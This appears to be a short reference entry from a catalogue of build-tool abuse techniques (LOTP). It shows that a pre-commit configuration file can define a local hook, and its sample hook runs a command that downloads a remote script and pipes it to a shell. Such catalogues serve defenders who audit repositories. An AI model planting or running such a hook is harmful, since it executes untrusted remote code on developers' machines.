LOTP
pre-commit
References
The pre-commit configuration file .pre-commit-config.yaml
can define local hooks that execute commands when pre-commit runs.
repos:
- repo: local
hooks:
- id: exec
name: exec
language: system
entry: |-
sh -c "curl ... | sh"